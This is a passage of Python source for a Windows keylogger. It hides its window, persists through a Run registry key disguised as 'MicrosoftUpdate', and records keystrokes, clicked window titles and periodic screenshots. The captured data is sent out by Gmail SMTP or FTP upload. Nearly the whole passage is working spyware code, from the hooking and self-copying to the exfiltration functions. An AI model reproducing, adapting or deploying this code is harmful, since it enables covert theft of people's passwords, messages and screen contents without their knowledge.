objTimer = threading.Timer(0, hide); objTimer.start()

# function to prevent multiple instances
mutex = win32event.CreateMutex(None, 1, "PA_mutex_xp4")
if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
    mutex = None
    exit()

def GetExIp():  # function to get external ip
    global strExIP
    try:
        strExIP = urlopen("http://ident.me").read().decode('utf8')
    except:
        strExIP = "?"
# obj defined for later use for screenshot timer
objTimer2 = threading.Timer(0, GetExIp); objTimer2.start()

def AddToStartup():
    try:
        strPath = os.path.realpath(sys.argv[0])
        strAppPath = os.environ["APPDATA"] + "\\" + os.path.basename(strPath)
        copyfile(strPath, strAppPath)

        objRegKey = OpenKey(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", 0, KEY_ALL_ACCESS)
        SetValueEx(objRegKey, "MicrosoftUpdate", 0, REG_SZ, strAppPath); CloseKey(objRegKey)
    except:  # if the program is already added to startup
        pass

if blnAddToStartup == "True":
    AddToStartup()

blnFirstSend = "True"
blnStop = "False"
intLogChars = 0

def OnKeyboardEvent(event):
    global strLogs, objTimer, intLogChars, objTimer2
    try:  # check to see if variable is defined
        strLogs
    except NameError:
        strLogs = ""

    def SendMessages(strLogs, strEmailAc, strEmailPass, blnStop, strExIP):
        global blnFirstSend  # easier to just define this variable to be global within the functions
        try:
            if blnStop == "True":
                strDateTime = "Keylogger Stopped At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S")
                strMessage = strDateTime + "\n\n" + strLogs
            elif blnFirstSend == "True":
                strDateTime = "Keylogger Started At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S")
                strMessage = strDateTime + "\n\n" + strLogs
                blnFirstSend = "False"
            else:
                strMessage = strLogs

            strMessage = "Subject: {}\n\n{}".format("New Keylogger Logs From "+strExIP, strMessage)

            SmtpServer = smtplib.SMTP_SSL("smtp.gmail.com", 465)
            SmtpServer.ehlo()   # identifies you to the smtp server
            SmtpServer.login(strEmailAc, strEmailPass)
            SmtpServer.sendmail(strEmailAc, strEmailAc, strMessage)
            SmtpServer.close()
        except:
            os._exit(1)  # if for some reason, the email cannot send, exit program including threads.

    def SendMessagesFTP(strLogs, strFtpServer, intFtpPort, strFtpUser, strFtpPass, strFtpRemotePath, blnStop):
        global blnFirstSend
        try:
            ftp = FTP(); ftp.connect(strFtpServer, 21)
            ftp.login(strFtpUser, strFtpPass); ftp.cwd(strFtpRemotePath)
            # connect to ftp server

            TMP = os.environ["TEMP"]
            objLogFile = open(TMP + "/log.txt", 'w')
            if blnStop == "True":
                objLogFile.write("\n\n" + "Keylogger Stopped At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S") + "\n\n")
            elif blnFirstSend == "True":
                objLogFile.write("\n" + "Keylogger Started At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S") + "\n\n")
                blnFirstSend = "False"
            objLogFile.write(strLogs)
            objLogFile.close()
            # create log file

            arFileList = ftp.nlst()
            if "log.txt" in arFileList:
                objLogFile = open(TMP + "/log.txt", 'rb'); ftp.storbinary("APPE log.txt", objLogFile)
            else:
                objLogFile = open(TMP + "/log.txt", 'rb'); ftp.storbinary("STOR log.txt", objLogFile)
            objLogFile.close(); ftp.close()
            objLogFile = open(TMP + "/log.txt", 'w'); objLogFile.close()  # delete log file contents
        except:
            os._exit(1)

    def StoreMessagesLocal(strLogs, blnStop):
        global blnFirstSend
        # log keys locally
        if os.path.isfile(strLogFile):
            objLogFile = open(strLogFile, 'a')
        else:
            objLogFile = open(strLogFile, 'w')
        if blnStop == "True":
            objLogFile.write("\n\n" + "Keylogger Stopped At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S") + "\n\n")
        elif blnFirstSend == "True":
            objLogFile.write("\n" + "Keylogger Started At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S") + "\n\n")
            blnFirstSend = "False"
        objLogFile.write(strLogs)
        objLogFile.close()

    def CreateNewThreadMessages():  # function for creating thread for sending messages
        if not strLogs == "":
            if blnStoreLocal == "True":
                StoreLogThread = threading.Thread(target=StoreMessagesLocal, args=(strLogs, blnStop))
                StoreLogThread.start()
            elif blnFTP == "True":
                SendFTPThread = threading.Thread(target=SendMessagesFTP, args=(strLogs, strFtpServer, intFtpPort, strFtpUser, strFtpPass, strFtpRemotePath, blnStop))
                SendFTPThread.start()
            else:
                SendMailThread = threading.Thread(target=SendMessages, args=(strLogs, strEmailAc, strEmailPass, blnStop, strExIP))
                SendMailThread.start()

    def SendScreen():  # function to send screens (easier to do this as a new function)
        if blnFTP == "True":
            try:
                ftp = FTP(); ftp.connect(strFtpServer, 21)
                ftp.login(strFtpUser, strFtpPass); ftp.cwd(strFtpRemotePath)
                objScrFile = open(strScrPath, "rb")
                ftp.storbinary("STOR " + strScrPath.split("/")[1], objScrFile)  # copy image to ftp
                objScrFile.close(); ftp.close()
            except:
                pass  # pass to try again later
        else:
            try:
                objMsg = MIMEMultipart()
                objMsg["Subject"] = "New Screenshot From " + strExIP
                img = MIMEImage(file(strScrPath, "rb").read())
                # attach image as original file name
                img.add_header("Content-Disposition", "attachment; filename= %s" % strScrPath.split("/")[1])
                objMsg.attach(img)
                SmtpServer = smtplib.SMTP_SSL("smtp.gmail.com", 465); SmtpServer.ehlo()
                SmtpServer.login(strEmailAc, strEmailPass)
                SmtpServer.sendmail(strEmailAc, strEmailAc, objMsg.as_string())
                SmtpServer.close()
            except:
                pass
        os.remove(strScrPath)  # delete file after sending

    def TakeScr():  # function to take screenshot
        if blnStoreLocal == "True":
            threading.Thread(pyautogui.screenshot().save(time.strftime(strScrDir + "/%Y%m%d%H%M%S" + ".png"))).start()
        else:
            global strScrPath
            TMP = os.environ["TEMP"]
            strScrPath = time.strftime(TMP + "/%Y%m%d%H%M%S" + ".png")  # save screenshot with datetime format
            threading.Thread(pyautogui.screenshot().save(strScrPath)).start()
            SendScreenThread = threading.Thread(target=SendScreen)
            SendScreenThread.start()

    if GetKeyState(HookConstants.VKeyToID("VK_CONTROL")) and GetKeyState(HookConstants.VKeyToID("VK_RSHIFT")) and HookConstants.IDToName(event.KeyID) == "H":
        # CTRL-RIGHT_SHIFT-H to stop the program
        if blnStoreLocal == "True":
            StoreLogThread = threading.Thread(target=StoreMessagesLocal, args=(strLogs, "True"))
            StoreLogThread.start()
        elif blnFTP == "True":
            SendFTPThread = threading.Thread(target=SendMessagesFTP, args=(strLogs, strFtpServer, intFtpPort, strFtpUser, strFtpPass, strFtpRemotePath, "True"))
            SendFTPThread.start()
        else:
            SendMailThread = threading.Thread(target=SendMessages, args=(strLogs, strEmailAc, strEmailPass, "True", strExIP))
            SendMailThread.start()
        exit()

    if event.Ascii == 8:
        strLogs = strLogs + " [Bck] "
    elif event.Ascii == 9:
        strLogs = strLogs + " [Tab] "
    elif event.Ascii == 13:
        strLogs = strLogs + "\n"
    elif event.Ascii == 0:  # if the key is a special key such as alt, win, etc. Pass
        pass
    else:
        intLogChars += 1
        strLogs = strLogs + chr(event.Ascii)

    if blnUseTime == "True":  # if the user is sending messages by timer
        if not objTimer.is_alive():  # check to see if the timer is not active
            objTimer = threading.Timer(intTimePerSend, CreateNewThreadMessages)
            objTimer.start()
            strLogs = ""; intLogChars = 0
    else:
        if intLogChars >= intCharPerSend:  # send/save message if log is certain length
            CreateNewThreadMessages()
            strLogs = ""; intLogChars = 0

    if blnScrShot == "True":  # if the user is capturing screenshots
        if not objTimer2.is_alive():
            objTimer2 = threading.Timer(intScrTime, TakeScr)
            objTimer2.start()

    return True  # return True to pass key to windows

def OnMouseEvent(event):  # when the mouse is clicked
    global strLogs
    try:
        strLogs
    except NameError:
        strLogs = ""

    if not str(event.WindowName) == "None":  # log window name and time
        strLogs = strLogs + "\n" + "["+time.ctime().split(" ")[3] + "] " + event.WindowName + "\n" + "====================" + "\n"
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
if blnLogClick == "True":
    hooks_manager.MouseLeftDown = OnMouseEvent
    hooks_manager.HookMouse()
pythoncom.PumpMessages()
<|endoftext|>